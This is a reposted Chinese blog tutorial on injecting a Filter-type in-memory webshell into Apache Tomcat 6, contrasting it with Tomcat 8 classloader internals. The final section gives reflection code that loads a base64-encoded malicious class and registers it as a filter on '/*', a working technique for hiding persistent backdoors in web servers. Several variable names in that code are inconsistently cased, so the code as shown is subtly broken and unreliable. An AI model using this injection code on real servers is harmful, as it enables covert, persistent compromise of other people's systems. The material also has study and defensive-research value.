iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Java安全之Tomcat6Filter内存马问题
  • 659
分享到

Java安全之Tomcat6Filter内存马问题

Python 官方文档:入门教程 => 点击学习

摘要

目录回顾Tomcat8打法探索Tomcat6与Tomcat8之间的区别回顾Tomcat8打法 先回顾下之前Tomcat789的打法 这里先抛开 7 8之间的区别, 在8中,最后add

回顾Tomcat8打法

先回顾下之前Tomcat789的打法

这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象

ApplicationFilterConfig包含了FilterDef对象

构造方法如下,如果当前filter属性为null会从FilterDef取filter的实例对象

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
        this.context = context;
        this.filterDef = filterDef;
        if (filterDef.getFilter() == null) {
            this.getFilter();
        } else {
            this.filter = filterDef.getFilter();
            this.getInstanceManager().newInstance(this.filter);
            this.initFilter();
        }

    }

FilterDef中存储了filterClass / filterName / filter 属性

public class FilterDef implements Serializable {
    private static final long serialVersionUID = 1L;
    private static final StringManager sm;
    private String description = null;
    private String displayName = null;
    private transient Filter filter = null;
    private String filterClass = null;
    private String filterName = null;
    private String largeIcon = null;
    private final Map<String, String> parameters = new HashMap();
    private String smallIcon = null;
    private String asyncSupported = null;

    public FilterDef() {
    }

再有就是createFilterChain中还涉及到filterMap

FilterMap里主要存放urlpatterner和filterName的映射

public class FilterMap extends XmlEncodingBase implements Serializable {
    private static final long serialVersionUID = 1L;
    public static final int ERROR = 1;
    public static final int FORWARD = 2;
    public static final int INCLUDE = 4;
    public static final int REQUEST = 8;
    public static final int ASYNC = 16;
    private static final int NOT_SET = 0;
    private int dispatcherMapping = 0;
    private String filterName = null;
    private String[] servletNames = new String[0];
    private boolean matchAllUrlPatterns = false;
    private boolean matchAllServletNames = false;
    private String[] urlPatterns = new String[0];

tomcat8下注入filter内存马流程如下:

  • FilterDef: 设置 setFilter(Filter filter) setFilterName(String filterName) setFilterClass(String filterClass) 这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef将该恶意filterdef put到this.filterDefs
  • FilterMap: addURLPattern("/*") setFilterName(String filterName) setDispatcher(DispatcherType.REQUEST.name()),最后调用StandardContext#addFilterMapBefore(filtermap) 添加到this.filterMaps
  • ApplicationFilterConfig: 调用有参构造将FilterDef作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig,最终put进standardcontext的属性里去。

探索Tomcat6与Tomcat8之间的区别

主要看下tomcat6和tomcat8之间createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain

跟进getFilter

主要代码如下:

所以这里构造filterDef的时候filterClass为evilfilter的全类名即可

再来看下FilterDef 可以发现确实在Tomcat6下面没有filter这个属性了

所以一个很大的区别就是在getFilter方法,也就是获取filter实例对象的逻辑:

Tomcat8中是通过filterDef的属性filter值来拿到 恶意filter实例

Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化

这里当我们调用有参构造实例化ApplicationFilterConfig时,会进入getFilter方法逻辑内

重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的

跟进WEBappClassLoader#loadClass

看到this.findLoadedClass0(name)从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性

这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了

这里肯定是没有我们的恶意filter,继续往下跟

后面直接调用java.lang.ClassLoader#findLoadedClass来通过ClassLoader去找是否已经加载过该class了

而在这里是直接找到了

查阅开发资料并思考了一下:

这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass了,所以这里就是可以找到的

后面随手翻了下classloader的属性,发现在classes属性是存在该filter的class的

那么正好来debug一下当前线程上下文ClassLoader#loadClass的过程

可以看到当前上下文的ClassLoader就是WebappClassLoader,并且此时classes属性里并没有我们的恶意类

而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoaderclasses属性中就新增了我们的恶意filter的class

所以后续在getFilter的逻辑中也是可以成功通过

回溯上面的逻辑时,getFilter方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass的我们的恶意filter

以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()去加载的我们恶意filter类,而tomcat6中getFilter逻辑是通过this.context.getLoader().getClassLoader();去findClass,而这两个ClassLoader又同为WebappClassLoader所以不会存在ClassNotfound的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下恶意filter即可。

注入内存马的主要代码如下:

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);

try {
          
  if (STANDARDCONTET != null) {
    // 1 反射获取filterDef
    Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
    Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
    Object filterDef = FilterDefconstructor.newInstance();

    // 2 设置filtername
    Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod.invoke(filterDef,filterName);

    // 3 setFilterClass
    Method setFilterClaSSMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
    setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());

    // 4 addFilterDef
    Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
    addFilterDef.invoke(STANDARDCONTET,filterDef);

    // 构造FilterMap
    Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
    Object filterMap =  FilterMapClass.newInstance();

    Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
    Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
    setDispatcherMethod.invoke(filterMap,"REQUEST");
    Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
    addURLPatternMethod.invoke(filterMap,"/*");

    Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
    addFilterMapMethod.invoke(STANDARDCONTET,filterMap);

    // 创建filterconfig 并添加到standardcontext.filterconfigs数组里
    Class filterConfiGClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
    filterConfigCon.setAccessible(true);
    // 实例化ApplicationFilterConfig时触发getFilter方法
    Object filterConfiGobj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);

    Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
    filterConfigsMap.put(filterName, filterConfigObj);

  }


} catch (Throwable var16) {
  var16.printStackTrace();
}

到此这篇关于Java安全之Tomcat6 Filter内存马的文章就介绍到这了,更多相关java tomcat6 filter内存马内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: Java安全之Tomcat6Filter内存马问题

本文链接: https://www.lsjlt.com/news/170415.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Java安全之Tomcat6Filter内存马问题
    目录回顾Tomcat8打法探索Tomcat6与Tomcat8之间的区别回顾Tomcat8打法 先回顾下之前Tomcat789的打法 这里先抛开 7 8之间的区别, 在8中,最后add...
    99+
    2022-11-13
    Java安全Tomcat6 Filter内存马 Java Tomcat6内存马 Tomcat Filter内存马
  • Java 内存安全问题的注意事项
    目录前言内存管理Java各版本内存管理改进内存溢出堆内存溢出栈溢出运行时常量池溢出方法区溢出元空间溢出本机直接内存溢出常见案例问题排查前言 Java在内存管理方面是要比C/C++更...
    99+
    2024-04-02
  • Java中内存安全问题的注意事项有哪些
    这篇文章给大家分享的是有关Java中内存安全问题的注意事项有哪些的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。前言Java在内存管理方面是要比C/C++更方便的,不需要为每一个对象编写释放内存的代码,JVM虚拟机...
    99+
    2023-06-15
  • Java多线程之线程安全问题
    文章目录 一. 线程安全概述1. 什么是线程安全问题2. 一个存在线程安全问题的程序 二. 线程不安全的原因和线程加锁1. 案例分析2. 线程加锁2.1 理解加锁2.2 synchroni...
    99+
    2023-09-21
    java 线程安全 多线程 synchronized jvm
  • Java多线程之线程安全问题详解
    目录1. 什么是线程安全和线程不安全?2. 自增运算为什么不是线程安全的?3. 临界区资源和竞态条件总结:面试题: 什么是线程安全和线程不安全?自增运算是不是线程安全的?如何保证多线...
    99+
    2024-04-02
  • Java多线程之线程安全问题详情
    目录1.线程安全概述1.1什么是线程安全问题1.2一个存在线程安全问题的程序2.线程加锁与线程不安全的原因2.1案例分析2.2线程加锁2.2.1什么是加锁2.2.2如何加锁2.2.3...
    99+
    2024-04-02
  • Golang函数并发编程中的内存安全问题
    go 中的函数并发编程存在内存安全问题,解决方法包括:互斥锁:防止多个 goroutine 同时访问共享数据,通过锁定和解锁操作保护临界区。通道:用于 goroutine 之间安全传递值...
    99+
    2024-04-17
    并发编程 内存安全 golang 并发访问 同步机制
  • Java基础之Unsafe内存操作不安全类详解
    简介 Unsafe类使Java拥有了像C语言的指针一样操作内存空间的能力,直接操作内存就意味着 1、不受jvm管理,也就意味着无法被GC,需要我们手动GC,稍有不慎就会出现内存泄漏...
    99+
    2024-04-02
  • 亚马逊账号安全问题
    关联问题:如果多个亚马逊账号关联在同一个设备上,亚马逊平台会督促卖家们下线多余的账号,只能留一个账号来操作账户,从而导致账户被封。 发货不及时:亚马逊平台规定,所有订单必须在72小时内发货。如果发货率大于4%,卖家将收到处罚,包括警告和账...
    99+
    2023-10-27
    亚马逊 安全问题 账号
  • ajax存在什么安全问题
    小编给大家分享一下ajax存在什么安全问题,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!ajax存在的安全问题:1、AJAX源代...
    99+
    2024-04-02
  • Java 内存泄露问题详解
    目录 1、什么是内存泄露? 2、Java 中可能导致内存泄露的场景 3、长生命周期对象持有短生命周期对象引用造成的内存泄露问题示例 4、静态集合类持有对象引用造成内存泄露问题的示例 1、什么是内存泄露?         内存泄露指的是程...
    99+
    2023-09-08
    Java 内存泄露
  • Java中线程安全问题
    目录一.线程不安全二.那些情况导致了线程不安全?三.Java中解决线程不安全的方案1.volatile“轻量级”解决线程不安全2.synchronized自动加锁四.公平锁与非公平锁...
    99+
    2024-04-02
  • Java多线程之线程安全问题怎么解决
    本篇内容主要讲解“Java多线程之线程安全问题怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Java多线程之线程安全问题怎么解决”吧!1.线程安全概述1.1什么是线程安全问题首先我们需要...
    99+
    2023-06-30
  • Java生成堆内存dump的问题
    目录Java生成堆内存dump那么java如何打出dump文件呢?jvm生成dump文件出现OOM时自动生成堆dump人工通过执行指令,直接生成当前JVM的dump文件总结Java生...
    99+
    2022-12-29
    Java dump Java堆内存dump Java堆内存
  • 亚马逊账号安全问题汇总
    SSL证书:SSL证书是一种加密技术,用于保障网站与用户之间的通信安全。卖家可以通过选择SSL证书提供商来确保网站的加密传输。 防止黑客攻击:黑客常常通过网站漏洞入侵卖家的账号,盗取用户信息并进行欺诈交易。卖家可以采取一些安全措施来防止黑...
    99+
    2023-10-27
    亚马逊 安全问题 账号
  • 亚马逊重置密码安全问题
    密码重置的过程是否需要验证输入的用户名和密码是否正确,确保不会向第三方泄露您的个人信息。 在忘记密码时,应该及时通过邮件、电话等方式联系亚马逊客服,并提供正确的密码和验证码。 确保您的设备上的安全软件、防病毒软件和防火墙等措施足够有效,以...
    99+
    2023-10-27
    亚马逊 安全问题 密码
  • Java内存泄露问题实例分析
    本篇内容介绍了“Java内存泄露问题实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Java内存泄露问题所谓内存泄露就是指一个不再被程...
    99+
    2023-06-29
  • java内存溢出问题如何排查
    Java内存溢出问题的排查可以按照以下步骤进行:1. 观察错误信息:当Java发生内存溢出时,通常会抛出`java.lang.Out...
    99+
    2023-09-29
    java
  • 深入聊聊Java内存泄露问题
    目录Java内存泄露问题附:内存泄露的典型情况总结Java内存泄露问题 所谓内存泄露就是指一个不再被程序便用的对象或变量一直被占据在内存中。 Java 中有垃圾回收机制,它可以保证一...
    99+
    2024-04-02
  • 如何解决JAVA内存泄漏问题
    本篇内容介绍了“如何解决JAVA内存泄漏问题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!目录什么是内存泄漏内存泄漏的原因内存泄漏有哪些情况...
    99+
    2023-06-20
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作